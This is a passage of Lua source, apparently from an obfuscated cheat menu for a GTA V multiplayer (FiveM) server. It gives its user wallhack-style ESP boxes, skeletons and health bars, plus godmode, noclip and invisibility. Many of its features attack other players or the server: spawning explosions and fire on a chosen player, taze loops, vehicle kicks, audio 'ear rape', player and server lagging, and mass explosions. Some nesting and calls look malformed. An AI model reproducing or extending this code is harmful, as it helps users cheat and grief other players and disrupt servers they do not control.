for k, v in CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
local entity = Fatasf.n.GetPlayerPed(v)
local blip = CockT.Inv["Invoke"]
(CockT.Natives["AddBlipForEntity"], entity)
CockT.Inv["Invoke"](CockT.Natives["SetBlipAsFriendly"],
blip, true)
CockT.Inv["Invoke"](CockT.Natives["SetBlipSprite"], blip, 1)
CockT.Inv["Invoke"](CockT.Natives["SetBlipColour"], blip,
17)
CockT.Inv["Invoke"]
(CockT.Natives["SetBlipNameToPlayerName"], blip, v)
if Fatasf.n.GetEntityHealth(entity) < 1 then
CockT.Inv["Invoke"](CockT.Natives["SetBlipSprite"],
blip, 274)
CockT.Inv["Invoke"](CockT.Natives["SetBlipColour"],
blip, 1)
end
end
elseif not Cock.Menu.blipsonmap then
for k, v in CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
local entity = Fatasf.n.GetPlayerPed(v)
local blip = CockT.Inv["Invoke"]
(CockT.Natives["GetBlipFromEntity"], entity)
if Fatasf.n.DoesBlipExist(blip) then
CockT.Inv["Invoke"](CockT.Natives["RemoveBlip"],
_cit_.PointerValueIntInitialized(blip))
end
end
end
if Cock.Menu.hpbar then
for k, v in CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
local pPed = Fatasf.n.GetPlayerPed(v)
if Fatasf.n.IsEntityOnScreen(pPed) then
if Cock.Menu.includeself then
er = nil
else
er = Fatasf.n.PlayerPedId()
end
if
Fatasf.n.GetDistanceBetweenCoords(Fatasf.n.GetEntityCoords(Fatasf.n.PlayerPedId()),
Fatasf.n.GetEntityCoords(pPed), true) <
CockMenu.ComboBoxesT.EspDist[CockMenu.ComboBoxesT.EspDistMultIndex] and pPed ~= er
then
local dist =
Fatasf.n.GetDistanceBetweenCoords(Fatasf.n.GetFinalRenderedCamCoord(),
Fatasf.n.GetEntityCoords(pPed), true)
Fatasf.n.SetDrawOrigin(Fatasf.n.GetEntityCoords(pPed))
Fatasf.n.DrawRect(-0.2745 / dist - (dist / 500) /
dist, 0, 0.0015, 2.0 / dist, 0, 0, 0, 90)
Fatasf.n.DrawRect(-0.2745 / dist - (dist / 500) /
dist, 1.05 / dist - Fatasf.n.GetEntityHealth(pPed) / 195 / dist, 0.0005,
Fatasf.n.GetEntityHealth(pPed) / 98 / dist, 30, 255, 30, 255)
end
end
Fatasf.n.ClearDrawOrigin()
end
end
if Cock.Menu.armourbar then
for k, v in CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
local pPed = Fatasf.n.GetPlayerPed(v)
if Fatasf.n.IsEntityOnScreen(pPed) then
if Cock.Menu.includeself then
er = nil
else
er = Fatasf.n.PlayerPedId()
end
if
Fatasf.n.GetDistanceBetweenCoords(Fatasf.n.GetEntityCoords(Fatasf.n.PlayerPedId()),
Fatasf.n.GetEntityCoords(pPed), true) <
CockMenu.ComboBoxesT.EspDist[CockMenu.ComboBoxesT.EspDistMultIndex] and pPed ~= er
then
local dist =
Fatasf.n.GetDistanceBetweenCoords(Fatasf.n.GetFinalRenderedCamCoord(),
Fatasf.n.GetEntityCoords(pPed), true)
Fatasf.n.SetDrawOrigin(Fatasf.n.GetEntityCoords(pPed))
if Cock.Menu.cornerbox then
for k, v in CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
local pPed = Fatasf.n.GetPlayerPed(v)
if Fatasf.n.IsEntityOnScreen(pPed) then
if Cock.Menu.includeself then
er = nil
else
er = Fatasf.n.PlayerPedId()
end
if
Fatasf.n.GetDistanceBetweenCoords(Fatasf.n.GetEntityCoords(Fatasf.n.PlayerPedId()),
Fatasf.n.GetEntityCoords(pPed), true) <
CockMenu.ComboBoxesT.EspDist[CockMenu.ComboBoxesT.EspDistMultIndex] and pPed ~= er
then
local dist =
Fatasf.n.GetDistanceBetweenCoords(Fatasf.n.GetFinalRenderedCamCoord(),
Fatasf.n.GetEntityCoords(pPed), true)
local X, Y = Fatasf.n.GetActiveScreenResolution()
Fatasf.n.SetDrawOrigin(Fatasf.n.GetEntityCoords(pPed))
Fatasf.n.DrawRect(-0.265/dist, -0.92/dist, 1 / X,
0.15/dist, 255, 255, 255, 255)
Fatasf.n.DrawRect(-0.265/dist, 0.92/dist, 1 / X,
0.15/dist, 255, 255, 255, 255)
Fatasf.n.DrawRect(0.265/dist, -0.92/dist, 1 / X,
0.15/dist, 255, 255, 255, 255)
Fatasf.n.DrawRect(0.265/dist, 0.92/dist, 1 / X,
0.15/dist, 255, 255, 255, 255)
Fatasf.n.DrawRect(-0.215/dist, -0.994/dist,
0.1/dist, 1 / Y, 255, 255, 255, 255)
Fatasf.n.DrawRect(0.215/dist, -0.994/dist, 0.1/dist,
1 / Y, 255, 255, 255, 255)
Fatasf.n.DrawRect(0.215/dist, 0.994/dist, 0.1/dist,
1 / Y, 255, 255, 255, 255)
Fatasf.n.DrawRect(-0.215/dist, 0.994/dist, 0.1/dist,
1 / Y, 255, 255, 255, 255)
end
end
Fatasf.n.ClearDrawOrigin()
end
end
if Cock.Menu.boxesV3 then
for k, v in CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
local pPed = Fatasf.n.GetPlayerPed(v)
if Fatasf.n.IsEntityOnScreen(pPed) then
if Cock.Menu.includeself then
er = nil
else
er = Fatasf.n.PlayerPedId()
end
if
Fatasf.n.GetDistanceBetweenCoords(Fatasf.n.GetEntityCoords(Fatasf.n.PlayerPedId()),
Fatasf.n.GetEntityCoords(pPed), true) <
CockMenu.ComboBoxesT.EspDist[CockMenu.ComboBoxesT.EspDistMultIndex] and pPed ~= er
then
local dist =
Fatasf.n.GetDistanceBetweenCoords(Fatasf.n.GetFinalRenderedCamCoord(),
Fatasf.n.GetEntityCoords(pPed), true)
Fatasf.n.SetDrawOrigin(Fatasf.n.GetEntityCoords(pPed))
Fatasf.n.DrawRect(0, 0, 0.53 / dist, 2.0 / dist, 0,
0, 0, 140)
end
end
end
end
if Cock.Menu.boxesV2 then
for k, v in CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
local pPed = Fatasf.n.GetPlayerPed(v)
if Fatasf.n.IsEntityOnScreen(pPed) then
if Cock.Menu.includeself then
er = nil
else
er = Fatasf.n.PlayerPedId()
end
if
Fatasf.n.GetDistanceBetweenCoords(Fatasf.n.GetEntityCoords(Fatasf.n.PlayerPedId()),
Fatasf.n.GetEntityCoords(pPed), true) <
CockMenu.ComboBoxesT.EspDist[CockMenu.ComboBoxesT.EspDistMultIndex] and pPed ~= er
then
local dist =
Fatasf.n.GetDistanceBetweenCoords(Fatasf.n.GetFinalRenderedCamCoord(),
Fatasf.n.GetEntityCoords(pPed), true)
Fatasf.n.SetDrawOrigin(Fatasf.n.GetEntityCoords(pPed))
Fatasf.n.DrawRect(0, -0.999 / dist, 0.53 / dist,
0.001, 255, 20, 10, 255)
Fatasf.n.DrawRect(0, 0.999 / dist, 0.53 / dist,
0.001, 255, 20, 10, 255)
Fatasf.n.DrawRect(-0.265 / dist, 0, 0.0006, 2.0 /
dist, 255, 20, 10, 255)
Fatasf.n.DrawRect(0.265 / dist, 0, 0.0006, 2.0 /
dist, 255, 20, 10, 255)
end
end
Fatasf.n.ClearDrawOrigin()
end
end
if Cock.Menu.boxes then
for k, v in CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
local pPed = Fatasf.n.GetPlayerPed(v)
if Fatasf.n.IsEntityOnScreen(pPed) then
if Cock.Menu.includeself then
er = nil
else
er = Fatasf.n.PlayerPedId()
end
if
Fatasf.n.GetDistanceBetweenCoords(Fatasf.n.GetEntityCoords(Fatasf.n.PlayerPedId()),
Fatasf.n.GetEntityCoords(pPed), true) <
CockMenu.ComboBoxesT.EspDist[CockMenu.ComboBoxesT.EspDistMultIndex] and pPed ~= er
then
local dist =
Fatasf.n.GetDistanceBetweenCoords(Fatasf.n.GetFinalRenderedCamCoord(),
Fatasf.n.GetEntityCoords(pPed), true)
Fatasf.n.SetDrawOrigin(Fatasf.n.GetEntityCoords(pPed))
if Cock.Menu.infos then
for k, v in CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
local player = Fatasf.n.GetPlayerPed(v)
if Cock.Menu.includeself then
er = nil
else
er = Fatasf.n.PlayerPedId()
end
if
Fatasf.n.GetDistanceBetweenCoords(Fatasf.n.GetEntityCoords(Fatasf.n.PlayerPedId()),
Fatasf.n.GetEntityCoords(player), true) <
CockMenu.ComboBoxesT.EspDist[CockMenu.ComboBoxesT.EspDistMultIndex] and player ~=
er then
local playerX, playerY, playerZ =
CockT.Strings.tunpack(Fatasf.n.GetEntityCoords(player))
local position = Fatasf.n.GetEntityCoords(player)
local xx =
CockT.Math.tonumber(CockT.Strings.format("%.2f", playerX))
local yy =
CockT.Math.tonumber(CockT.Strings.format("%.2f", playerY))
local zz =
CockT.Math.tonumber(CockT.Strings.format("%.2f", playerZ))
local pos = {x = xx, y = yy, z = zz}
if Cock.Menu.displayradar then
CockT.Inv["Invoke"](CockT.Natives["DisplayRadar"], true)
end
if Cock.Menu.skeletons then
for k, v in CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
local ped = Fatasf.n.GetPlayerPed(v)
local Pped = Fatasf.n.PlayerPedId()
if Cock.Menu.includeself then
er = nil
else
er = Fatasf.n.PlayerPedId()
end
if
Fatasf.n.GetDistanceBetweenCoords(Fatasf.n.GetEntityCoords(Fatasf.n.PlayerPedId()),
Fatasf.n.GetEntityCoords(ped), true) <
CockMenu.ComboBoxesT.EspDist[CockMenu.ComboBoxesT.EspDistMultIndex] and ped ~= er
then
Fatasf.n.DrawLine(Functions.f.GetPedBoneCoords(ped,
31086, 0.0, 0.0, 0.0), Functions.f.GetPedBoneCoords(ped, 39317, 0.0, 0.0, 0.0),
255, 255, 255, 255)
Fatasf.n.DrawLine(Functions.f.GetPedBoneCoords(ped,
39317, 0.0, 0.0, 0.0), Functions.f.GetPedBoneCoords(ped, 11816, 0.0, 0.0, 0.0),
255, 255, 255, 255)
Fatasf.n.DrawLine(Functions.f.GetPedBoneCoords(ped,
11816, 0.0, 0.0, 0.0), Functions.f.GetPedBoneCoords(ped, 16335, 0.0, 0.0, 0.0),
255, 255, 255, 255)
Fatasf.n.DrawLine(Functions.f.GetPedBoneCoords(ped,
11816, 0.0, 0.0, 0.0), Functions.f.GetPedBoneCoords(ped, 46078, 0.0, 0.0, 0.0),
255, 255, 255, 255)
Fatasf.n.DrawLine(Functions.f.GetPedBoneCoords(ped,
16335, 0.0, 0.0, 0.0), Functions.f.GetPedBoneCoords(ped, 52301, 0.0, 0.0, 0.0),
255, 255, 255, 255)
Fatasf.n.DrawLine(Functions.f.GetPedBoneCoords(ped,
46078, 0.0, 0.0, 0.0), Functions.f.GetPedBoneCoords(ped, 14201, 0.0, 0.0, 0.0),
255, 255, 255, 255)
Fatasf.n.DrawLine(Functions.f.GetPedBoneCoords(ped,
46078, 0.0, 0.0, 0.0), Functions.f.GetPedBoneCoords(ped, 14201, 0.0, 0.0, 0.0),
255, 255, 255, 255)
Fatasf.n.DrawLine(Functions.f.GetPedBoneCoords(ped,
39317, 0.0, 0.0, 0.0), Functions.f.GetPedBoneCoords(ped, 40269, 0.0, 0.0, 0.0),
255, 255, 255, 255)
Fatasf.n.DrawLine(Functions.f.GetPedBoneCoords(ped,
39317, 0.0, 0.0, 0.0), Functions.f.GetPedBoneCoords(ped, 45509, 0.0, 0.0, 0.0),
255, 255, 255, 255)
Fatasf.n.DrawLine(Functions.f.GetPedBoneCoords(ped,
40269, 0.0, 0.0, 0.0), Functions.f.GetPedBoneCoords(ped, 28252, 0.0, 0.0, 0.0),
255, 255, 255, 255)
Fatasf.n.DrawLine(Functions.f.GetPedBoneCoords(ped,
45509, 0.0, 0.0, 0.0), Functions.f.GetPedBoneCoords(ped, 61163, 0.0, 0.0, 0.0),
255, 255, 255, 255)
Fatasf.n.DrawLine(Functions.f.GetPedBoneCoords(ped,
28252, 0.0, 0.0, 0.0), Functions.f.GetPedBoneCoords(ped, 57005, 0.0, 0.0, 0.0),
255, 255, 255, 255)
Fatasf.n.DrawLine(Functions.f.GetPedBoneCoords(ped,
61163, 0.0, 0.0, 0.0), Functions.f.GetPedBoneCoords(ped, 18905, 0.0, 0.0, 0.0),
255, 255, 255, 255)
end
--[[if ped ~= Fatasf.n.PlayerPedId() then
CockT.Inv["Invoke"](CockT.Natives['DrawMarker'], 28,
Functions.f.GetPedBoneCoords(ped, 0x796E, 0.0, 0.0, 0.0), 0.0, 0.0, 0.0, 0.0,
180.0, 0.0, 0.3 / GetDistanceBetweenCoords(Fatasf.n.GetFinalRenderedCamCoord(),
Fatasf.n.GetEntityCoords(ped), true), 0.3 /
GetDistanceBetweenCoords(Fatasf.n.GetFinalRenderedCamCoord(),
Fatasf.n.GetEntityCoords(ped), true), 0.4 /
GetDistanceBetweenCoords(Fatasf.n.GetFinalRenderedCamCoord(),
Fatasf.n.GetEntityCoords(ped), true), 255, 255, 255, 255, false, false, 2, nil,
nil, true) --false, false, 2, nil, nil, true, true)
end]]
end
end
if Cock.Menu.Crosshair then
Fatasf.n.RequestStreamedTextureDict('srange_gen', true)
Fatasf.n.DrawSprite('srange_gen', 'hit_cross', 0.5, 0.5, 0.006,
0.006 * 2.0, 45.0, 255, 255, 255, 255) --srange_gen@hit_cross
end
if Cock.Menu.showcoords then
local playerPed = Fatasf.n.PlayerPedId()
local playerX, playerY, playerZ =
CockT.Strings.tunpack(Fatasf.n.GetEntityCoords(playerPed))
local playerH = Fatasf.n.GetEntityHeading(playerPed)
Functions.f.DrawTextTest(("~b~X~w~: %s ~b~Y~w~: %s ~b~Z~w~: %s
~b~H~w~: %s"):format(CockMeni.Functions.FormatCoord(playerX),
CockMeni.Functions.FormatCoord(playerY), CockMeni.Functions.FormatCoord(playerZ),
CockMeni.Functions.FormatCoord(playerH)), false, 0.5, 0, 0.5, 0)
end
if Cock.Menu.roadetector then
local playerX, playerY, playerZ =
CockT.Strings.tunpack(Fatasf.n.GetEntityCoords(Fatasf.n.PlayerPedId()))
local ActualRoad =
Fatasf.n.GetStreetNameFromHashKey(Fatasf.n.GetStreetNameAtCoord(playerX, playerY,
playerZ))
Fatasf.n.DrawRect(0.21, 0.798, 0.101, 0.0365, 255, 255, 255,
222)
Fatasf.n.DrawRect(0.21, 0.798, 0.1, 0.035, 0, 0, 0, 222)
Functions.f.DrawTextTest(ActualRoad, false, 0.35, 0, 0.21,
0.785)
end
if Cock.Menu.force3rdper then
Fatasf.n.SetFollowPedCamViewMode(0)
CockT.Inv["Invoke"]
(CockT.Natives['SetFollowVehicleCamViewMode'], 0)
CockT.Inv["Invoke"]
(CockT.Natives['DisableFirstPersonCamThisFrame'])
end
if Cock.Menu.forcedriveby then
CockT.Inv["Invoke"](CockT.Natives['SetPlayerCanDoDriveBy'],
Fatasf.n.PlayerPedId(), true)
end
if Cock.Menu.rainbowworld then
local coords = Fatasf.n.GetPedBoneCoords(Fatasf.n.PlayerPedId(),
0x796E, 0.0, 0.0, 0.0)
local rgb = Functions.f.RGBRainbow(1.0)
CockT.Inv["Invoke"]
(CockT.Natives['DrawLightWithRangeAndShadow'], coords.x, coords.y, coords.z + 3.0,
rgb.r, rgb.g, rgb.b, 1000.0, 80.0)
end
if Cock.Menu.tinyplayer then
Fatasf.n.SetPedConfigFlag(Fatasf.n.PlayerPedId(), 223, true)
else
Fatasf.n.SetPedConfigFlag(Fatasf.n.PlayerPedId(), 223, false)
end
if Cock.Menu.Slowmotion then
CockT.Inv["Invoke"](CockT.Natives['SetTimeScale'], 0.35)
else
CockT.Inv["Invoke"](CockT.Natives['SetTimeScale'], 1.0)
end
if Cock.Menu.SJump then
Fatasf.n.SetSuperJumpThisFrame(Fatasf.n.PlayerId())
end
if Cock.Menu.fastswim then
CockT.Inv["Invoke"](CockT.Natives['SetSwimMultiplierForPlayer'],
Fatasf.n.PlayerId(), 1.49)
else
CockT.Inv["Invoke"](CockT.Natives['SetSwimMultiplierForPlayer'],
Fatasf.n.PlayerId(), 1.0)
end
if Cock.Menu.antidrowing then
CockT.Inv["Invoke"](CockT.Natives['SetPedDiesInWater'],
Fatasf.n.PlayerPedId(), false)
end
if Cock.Menu.antihead then
CockT.Inv["Invoke"](CockT.Natives['SetPedSuffersCriticalHits'],
Fatasf.n.PlayerPedId(), false)
else
CockT.Inv["Invoke"](CockT.Natives['SetPedSuffersCriticalHits'],
Fatasf.n.PlayerPedId(), true)
end
if Cock.Menu.fakedead then
Fatasf.n.SetPedToRagdoll(Fatasf.n.PlayerPedId(), 4000, 5000, 0,
true, true, true)
end
if Cock.Menu.antistungun then
CockT.Inv["Invoke"]
(CockT.Natives['SetPedMinGroundTimeForStungun'], Fatasf.n.PlayerPedId(), 0)
elseif not Cock.Menu.antistungun then
CockT.Inv["Invoke"]
(CockT.Natives['SetPedMinGroundTimeForStungun'], Fatasf.n.PlayerPedId(), 3600)
end
if Cock.Menu.noragdoll then
CockT.Inv["Invoke"](CockT.Natives['SetPedCanRagdoll'],
Fatasf.n.PlayerPedId(), true)
else
CockT.Inv["Invoke"](CockT.Natives['SetPedCanRagdoll'],
Fatasf.n.PlayerPedId(), true)
end
if Cock.Menu.wantedlevel then
CockT.Inv["Invoke"](CockT.Natives['SetPlayerWantedLevel'],
Fatasf.n.PlayerId(), Cock.Sliders['WantedLVL'].value, false)
CockT.Inv["Invoke"](CockT.Natives['SetPlayerWantedLevelNow'],
Fatasf.n.PlayerId())
end
if Cock.Menu.superrun then
if Fatasf.n.IsDisabledControlPressed(0, 34) or
Fatasf.n.IsDisabledControlPressed(0, 33) or Fatasf.n.IsDisabledControlPressed(0,
32) or Fatasf.n.IsDisabledControlPressed(0, 35) then
Fatasf.n.SetEntityVelocity(Fatasf.n.PlayerPedId(),
Fatasf.n.GetOffsetFromEntityInWorldCoords(Fatasf.n.PlayerPedId(), 0.0, 10.5,
GetEntityVelocity(Fatasf.n.PlayerPedId())[3]) -
Fatasf.n.GetEntityCoords(Fatasf.n.PlayerPedId()))
end
end
if Cock.Menu.ExtraJump then
if Fatasf.n.IsDisabledControlJustPressed(0, 22) then
CockT.Inv["Invoke"](CockT.Natives['ApplyForceToEntity'],
Fatasf.n.PlayerPedId(), 3, 0.0, 0.0, 25.0, 0.0, 0.0, 0.0, 0, 0, 0, 1, 1, 1)
end
end
if Cock.Menu.infroll then
for i = 0, 3 do
CockT.Inv["Invoke"](CockT.Natives['StatSetInt'],
Fatasf.n.GetHashKey("mp" .. i .. "_shooting_ability"), 9999, true)
CockT.Inv["Invoke"](CockT.Natives['StatSetInt'],
Fatasf.n.GetHashKey("sp" .. i .. "_shooting_ability"), 9999, true)
end
end
if Cock.Menu.maxstamina then
CockT.Inv["Invoke"](CockT.Natives['ResetPlayerStamina'],
Fatasf.n.PlayerId())
end
if Cock.Menu.SemiGodmode then
Fatasf.n.SetEntityHealth(Fatasf.n.PlayerPedId(), 200)
end
if Fatasf.n.DoesEntityExist(veh) then
CockT.Inv["Invoke"]
(CockT.Natives['TaskVehicleDriveWander'], Fatasf.n.PlayerPedId(), veh, 40.0, 0)
else
CockT.Inv["Invoke"](CockT.Natives['TaskWanderStandard'],
Fatasf.n.PlayerPedId(), 10.0, 10)
end
end
if Cock.Menu.NClip then
CockMeni.Functions.instructbutton()
local currentSpeed =
CockMenu.ComboBoxesT.NCSpeed[CockMenu.ComboBoxesT.NCSpeedLengMult]--1.0
noclipEntity =
Fatasf.n.IsPedInAnyVehicle(Fatasf.n.PlayerPedId(), false) and
Fatasf.n.GetVehiclePedIsUsing(Fatasf.n.PlayerPedId()) or Fatasf.n.PlayerPedId()
Fatasf.n.FreezeEntityPosition(Fatasf.n.PlayerPedId(), true)
Fatasf.n.SetEntityInvincible(Fatasf.n.PlayerPedId(), true)
yoff = 0.0
zoff = 0.0
local newPos =
Fatasf.n.GetOffsetFromEntityInWorldCoords(noclipEntity, 0.0,
yoff * (currentSpeed + 0.3), zoff * (currentSpeed + 0.3))
Fatasf.n.FreezeEntityPosition(noclipEntity, false)
Fatasf.n.SetEntityInvincible(noclipEntity, false)
Fatasf.n.SetEntityCollision(noclipEntity, true, true)
end
if not CockT.Global.CheckIfResourceExist('gtalife-z') then
if Cock.Menu.Godmode then
Functions.f.FvckinDooogInvincibleglifeshit(true)
elseif not Cock.Menu.Godmode then
Functions.f.FvckinDooogInvincibleglifeshit(false)
end
end
if Cock.Menu.LaunchPlayer then
Fatasf.n.AddExplosion(Fatasf.n.GetEntityCoords(Fatasf.n.GetPlayerPed(CockT.Global.S
electedPlayer)), 13, 1.0, false, true, 0.0)
end
if Cock.Menu.SpaceX2 then
Fatasf.n.AddExplosion(Fatasf.n.GetEntityCoords(Fatasf.n.GetPlayerPed(CockT.Global.S
electedPlayer)), 14, 1.0, false, true, 0.0)
end
if Cock.Menu.giveexplosiveammo then
local ret, position =
Fatasf.n.GetPedLastWeaponImpactCoord(Fatasf.n.GetPlayerPed(CockT.Global.SelectedPla
yer))
if ret then
Fatasf.n.AddExplosion(position.x, position.y, position.z, 7,
100.0, true, false, 0)
end
end
if Cock.Menu.givemolotovammo then
local ret, position =
Fatasf.n.GetPedLastWeaponImpactCoord(Fatasf.n.GetPlayerPed(CockT.Global.SelectedPla
yer))
if ret then
Fatasf.n.AddExplosion(position.x, position.y, position.z, 3,
100.0, true, false, 0)
end
end
if Cock.Menu.givepropammo then
local ret, position =
Fatasf.n.GetPedLastWeaponImpactCoord(Fatasf.n.GetPlayerPed(CockT.Global.SelectedPla
yer))
if ret then
local Objects = {'prop_beach_fire', 'prop_atm_01',
'prop_atm_02', 'prop_aircon_s_07a', 'prop_prop_tree_01', 'prop_prop_tree_02'}
local objhash =
Fatasf.n.GetHashKey(Objects[CockT.Math.random(#Objects)])
Fatasf.n.CreateObject(objhash, position.x, position.y,
position.z, true, true, true)
end
end
if Cock.Menu.tazeloop then
CockT.Global.TazePlayer(CockT.Global.SelectedPlayer)
end
if Cock.Menu.kickfromveh then
CockT.Global.KickFromVehicle(CockT.Global.SelectedPlayer)
end
if Cock.Menu.earrape then
CockT.Global.EarRape()
end
--
if Cock.Menu.invisible then
Fatasf.n.SetEntityVisible(Fatasf.n.PlayerPedId(), false, false)
CockT.Inv["Invoke"](CockT.Natives['SetEntityLocallyVisible'],
Fatasf.n.PlayerPedId(), true)
else
Fatasf.n.SetEntityVisible(Fatasf.n.PlayerPedId(), true, true)
CockT.Inv["Invoke"](CockT.Natives['ResetEntityAlpha'],
Fatasf.n.PlayerPedId())
end
if Cock.Menu.lagplayer then
local ped = Fatasf.n.GetPlayerPed(i)
local pedcoords = Fatasf.n.GetEntityCoords(ped)
Fatasf.n.RequestNamedPtfxAsset("scr_agencyheist")
Fatasf.n.UseParticleFxAsset("scr_agencyheist")
Fatasf.n.StartNetworkedParticleFxNonLoopedAtCoord( "scr_fbi_dd_breach_smoke",
pedcoords, 0.0, 0.0, 0.0, 10.0, false, false, false, false)
Fatasf.n.RequestNamedPtfxAsset("core")
Fatasf.n.UseParticleFxAsset("core")
Fatasf.n.RequestNamedPtfxAsset("scr_rcbarry1")
Fatasf.n.UseParticleFxAsset("scr_rcbarry1")
Fatasf.n.RequestNamedPtfxAsset("scr_trevor3")
Fatasf.n.UseParticleFxAsset("scr_trevor3")
Fatasf.n.StartNetworkedParticleFxNonLoopedAtCoord( "scr_trev3_c4_explosion",
pedcoords, 0.0, 0.0, 0.0, 10.0, false, false, false, false)
Fatasf.n.RequestNamedPtfxAsset("cut_finale1")
Fatasf.n.UseParticleFxAsset("cut_finale1")
Fatasf.n.StartNetworkedParticleFxNonLoopedAtCoord( "cs_finale1_car_explosion",
pedcoords, 0.0, 0.0, 0.0, 10.0, false, false, false, false)
end
if Cock.Menu.fireonplayer then
local coords =
Fatasf.n.GetEntityCoords(Fatasf.n.GetPlayerPed(CockT.Global.SelectedPlayer))
local dict = "core"
Fatasf.n.RequestNamedPtfxAsset(dict)
while not Fatasf.n.HasNamedPtfxAssetLoaded(dict) do
CockT.Inv["Wait"](0)
end
Fatasf.n.UseParticleFxAsset(dict)
Fatasf.n.StartNetworkedParticleFxNonLoopedAtCoord("ent_sht_petrol_fire", coords.x,
coords.y, coords.z, 0, 0, 0, 5.0, 0, 0, 0)
CockT.Inv["Wait"](10)
end
if Cock.Menu.Clownonplayer then
local coords =
Fatasf.n.GetEntityCoords(Fatasf.n.GetPlayerPed(CockT.Global.SelectedPlayer))
local dict = "scr_rcbarry2"
Fatasf.n.RequestNamedPtfxAsset(dict)
while not Fatasf.n.HasNamedPtfxAssetLoaded(dict) do
CockT.Inv["Wait"](0)
end
Fatasf.n.UseParticleFxAsset(dict)
Fatasf.n.StartNetworkedParticleFxNonLoopedAtCoord("scr_clown_appears", coords.x,
coords.y, coords.z, 0, 0, 0, 5.0, 0, 0, 0)
CockT.Inv["Wait"](10)
end
if Cock.Menu.Spectate2 then
local oldcoords =
Fatasf.n.GetEntityCoords(Fatasf.n.PlayerPedId())
local Player = Fatasf.n.PlayerPedId()
--oldcoords
local ped = Fatasf.n.ClonePed(Player, true, false, false)
while Cock.Menu.Spectate2 do
CockT.Inv["Wait"](0)
local TargetCoords =
Fatasf.n.GetEntityCoords(Fatasf.n.GetPlayerPed(CockT.Global.SelectedPlayer))
Fatasf.n.SetEntityVisible(Player, false, false)
CockT.Inv["Invoke"](CockT.Natives['SetEntityAlpha'], Player,
0)
Fatasf.n.SetEntityCoordsNoOffset(Player, TargetCoords.x,
TargetCoords.y, TargetCoords.z+2.2, true, true, true)
if not Cock.Menu.Spectate2 then
Fatasf.n.SetEntityCoordsNoOffset(Player, oldcoords.x,
oldcoords.y, oldcoords.z, true, true, true)
Fatasf.n.SetEntityVisible(Player, true, true)
CockT.Inv["Invoke"](CockT.Natives['ResetEntityAlpha'],
Player)
Fatasf.n.DeleteEntity(ped)
end
end
end
if Cock.Menu.burnplayercar then
CockMeni.Functions.BurnPlayerCar(CockT.Global.SelectedPlayer)
end
if Cock.Menu.DisableAllEnginesLoop then
Functions.f.DisableAllEngines()
end
if Cock.Menu.explodemissionrow then
CockT.Global.ExplodeMissionrow()
end
if Cock.Menu.explodegrove then
local ppid = Fatasf.n.PlayerPedId()
--Fatasf.n.SetEntityCoords(ppid, 99.99, -1068.48, 28.3)
Fatasf.n.AddExplosion(124.39, -1929.7, 22.0, 5, 100.0, true,
false, 0.0)
Fatasf.n.AddExplosion(120.19, -1932.38, 20.74, 5, 100.0, true,
false, 0.0)
Fatasf.n.AddExplosion(120.41, -1937.65, 20.75, 5, 100.0, true,
false, 0.0)
Fatasf.n.AddExplosion(119.18, -1946.69, 20.75, 5, 100.0, true,
false, 0.0)
Fatasf.n.AddExplosion(115.06, -1953.9, 20.75, 5, 100.0, true,
false, 0.0)
Fatasf.n.AddExplosion(116.23, -1957.94, 20.87, 5, 100.0, true,
false, 0.0)
Fatasf.n.AddExplosion(111.54, -1961.41, 20.95, 5, 100.0, true,
false, 0.0)
Fatasf.n.AddExplosion(101.42, -1959.11, 20.08, 5, 100.0, true,
false, 0.0)
Fatasf.n.AddExplosion(95.92, -1959.12, 20.75, 5, 100.0, true,
false, 0.0)
Fatasf.n.AddExplosion(86.24, -1971.49, 20.75, 5, 100.0, true,
false, 0.0)
Fatasf.n.AddExplosion(89.41, -1959.04, 20.75, 5, 100.0, true,
false, 0.0)
Fatasf.n.AddExplosion(81.24, -1952.1, 20.82, 5, 100.0, true,
false, 0.0)
Fatasf.n.AddExplosion(76.76, -1958.51, 20.77, 5, 100.0, true,
false, 0.0)
Fatasf.n.AddExplosion(78.68, -1947.91, 21.17, 20.75, 5, 100.0,
true, false, 0.0)
Fatasf.n.AddExplosion(78.59, -1939.9, 20.88, 5, 100.0, true,
false, 0.0)
Fatasf.n.AddExplosion(74.84, -1932.41, 20.84, 5, 100.0, true,
false, 0.0)
Fatasf.n.AddExplosion(69.07, -1923.82, 21.23, 5, 100.0, true,
false, 0.0)
Fatasf.n.AddExplosion(79.81, -1905.57, 21.43, 5, 100.0, true,
false, 0.0)
Fatasf.n.AddExplosion(91.07, -1916.78, 20.77, 5, 100.0, true,
false, 0.0)
Fatasf.n.AddExplosion(94.26, -1929.64, 20.8, 5, 100.0, true,
false, 0.0)
Fatasf.n.AddExplosion(102.07, -1938.0, 20.8, 5, 100.0, true,
false, 0.0)
Fatasf.n.AddExplosion(103.62, -1945.58, 20.77, 5, 100.0, true,
false, 0.0)
Fatasf.n.AddExplosion(111.27, -1936.94, 20.79, 5, 100.0, true,
false, 0.0)
CockT.Inv["Wait"](10)
end
Fatasf.n.UseParticleFxAsset(gox_dict)
if Cock.Menu.lagserver then
CockT.Global.ServerLagger()
end
if Cock.Menu.tazeloopall then
for k, i in CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
CockT.Global.TazePlayer(Fatasf.n.GetPlayerPed(i))
end
end
if Cock.Menu.kickfromvehall then
for k, i in CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
Fatasf.n.ClearPedTasksImmediately(Fatasf.n.GetPlayerPed(i))
end
end
if Cock.Menu.earrapeall then
for k, i in CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
CockT.Global.EarRape()
end
end
if CockMeni.Functions.fov then
Fatasf.n.RequestStreamedTextureDict("mpmissmarkers256", true)
Fatasf.n.DrawSprite("mpmissmarkers256","corona_shade",0.5,0.5,CockMenu.ComboBoxesT.
Fov[CockMenu.ComboBoxesT.FovMultIndex] / 10 /
150,CockMenu.ComboBoxesT.Fov[CockMenu.ComboBoxesT.FovMultIndex] / 10 / 150 *
1.8,0.0,90,90,90,90)
end
if CockMeni.Functions.Carkiller then
for k, v in CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
local pPed = Fatasf.n.GetPlayerPed(v)
